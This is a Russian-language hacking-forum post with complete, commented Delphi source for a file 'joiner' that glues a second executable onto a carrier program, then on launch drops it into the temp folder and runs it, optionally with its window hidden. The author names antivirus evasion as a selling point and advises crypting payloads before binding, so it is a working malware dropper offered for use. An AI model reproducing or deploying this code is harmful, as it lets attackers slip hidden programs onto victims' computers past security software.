Как я и обещал, выкладываю свой способ склейки файлов.
Суть метода предельно, до тупого проста и понятна всем.
В исходник программы носителя добавляется приведённая ниже
процедура: Joiner. А дальше где-нибудь в программе
устанавливется её вызов, например в начале основной части
или, если её нет в функции FormCreate, в общем где посчитаете
нужно, там и ставите... Далее действуем так: у нас есть
два файла например nositel.exe-файл-носитель и Joined.exe -
клеимый файл.Рззмещаем эти файлы в одном каталоге, запускаем
nositel.exe в этом же каталоге образуется файл nositel.exe.exe
он представляет собой уже склееные два файла nositel.exe и
Joined.exe с добавленной в DOS-заголовке меткой склеености)))
В общем-то если вы все параметры правильно ввели то у всё
уже готово))... Переименовываем nositel.exe.exe в рабочее имя
и можем его применять... при запуске этого файла он извлекает
приклееную прогу в указанное в параметре место и в зависимости
от выбранный парамтров запускает или нет с выбранным способом
отображения окна)))
Я думаю, что вопросы по теме будут, хотя вроде всё понятно,
в общем что не ясно спрашивайте....
Преемущества метода:
- Непалим антивирями по причине отсутствия загрузщика;
- Метод прост и не требует наличия каких-либо средств;
- Метод очень компактный в реализации;
Недостатки метода:
- Нельзя склеивать любые два файла, в качестве файла-носителя
можно применять только файл, чей делфи исходник у вас есть...
Особенность метода:
- Упаковку и криптование файлов необходимо провести до склеивания)))
Вот исходник процедуры, полностью описанный и с примером применения
Код:
//////////////////////////////////
//// AutoJoiner by execom ////
//// 52Nn 'n' DE (c) 2007 ////
//// 52nn.net & d4rkevil.org ////
//////////////////////////////////
{$M 65000}//Эта дериктива компилятору выделяет память под запуск приложения
//Её необходимо будет добавлять в каждую прогу внячале кода...
program Project3;
uses //Для работы процедуры необходимо присутствие этих модулей
SysUtils,
Windows;
Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
const
mSize=56789;//Размер программы-носителя к которой будет крениться файл
fSize=12345;//Размер крепимого файла
//Эти два значения мы устанавливаем опытным путем и записываем сами
type
MnBuf=array[1..mSize] of Char;
FlBuf=array[1..fSize] of Char;
LaBuf=array[1..8] of Char;
var
mBuf : MnBuf;
fBuf : FlBuf;
lBuf : LaBuf;
f : File of Char;
begin
FileMode:=0;//Устанавливаем режим работы с файлами "Только чтение"
AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
Reset(f);//Открываем себя
Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
//В DOS-заголовке ехе-файла на имеются зарезервированные места,
//которые пока их не заняли мы можем свободно использовать
//на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
if LBuf='E}{eC()M' then
//Если в этом месте наша метка значит файл уже приклеин и нам необходимо
//его из себя извлечь и по необходимости запустить в выбраном режиме отображения
//Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
// и не более 20 байт в позиции 28h... Мы находимся на втором уровне
Begin
Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
CloseFile(f);//Закрываем себя
FileMode:=2;//Устанавливаем режим работы с файлами "Только запись"
{$I-}//Отключаем проверку ошибок ввода вывода
AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
ReWrite(f);//Создаем с перезаписью пустой файл
BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
CloseFile(f);//Закрываем себя
{$I+}//Включаем проверку ошибок ввода вывода
if fStart then WinExec(PChar(fPath+fName+' '+fCMD),fShow);
//Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
end
else
//Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
//Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
begin
{$I-}//Отключаем проверку ошибок ввода вывода
Seek(f,0);//Переходим на позицию начала своего файла
BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
CloseFile(f);//Закрываем себя
AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
Reset(f);//Открываем его
BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
CloseFile(f);//Закрываем клеимый файл
FileMode:=2;//Устанавливаем режим работы с файлами "Только запись"
AssignFile(f,paramstr(0)+'.ExE');//Ассоциируем переменную f с путём к файлу с именем,
//как у файла носителя + .ЕхЕ
ReWrite(f);//Создаём новый пустой файл
BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
seek(f,$1C);//Переходим на позицию установки метки
LBuf:='E}{eC()M';//Присваивем переменной значение метки
BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
CloseFile(f);//Закрываем файл
{$I+}//Включаем проверку ошибок ввода вывода
end;
end;
begin
//Применение процедуры Joiner:
//fName - Имя клеимого файла
//fPath - Папка распаковки файла
//fCMD - командная строка запуска файла (если есть)
//fstart - true - запускаем, false - не запускаем, извлечённый файл
//fShow - Режим отображения запущеного файла например:
//SW_HIDE - Прячет окно и переводит в активное состояние другое окно.
//SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
//SW_RESTORE - Действует так же, как и SW_SHOWNORMAL.
//SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера.
//SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний.
//SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером.
//SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы.
//SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
//SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
//SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
//SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
//SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.
Joiner('calc.exe',GetEnvironmentVariable('TMP')+'\','',true,SW_Show);
end.
P.S. При написании программ с паблик исходниками пояснения из кода
можете убрать, но оставьте строки копирайта
Код:
//////////////////////////////////
//// AutoJoiner by execom ////
//// 52Nn 'n' DE (c) 2007 ////
//// 52nn.net & d4rkevil.org ////
//////////////////////////////////
Хотя - это скорей проcьба)))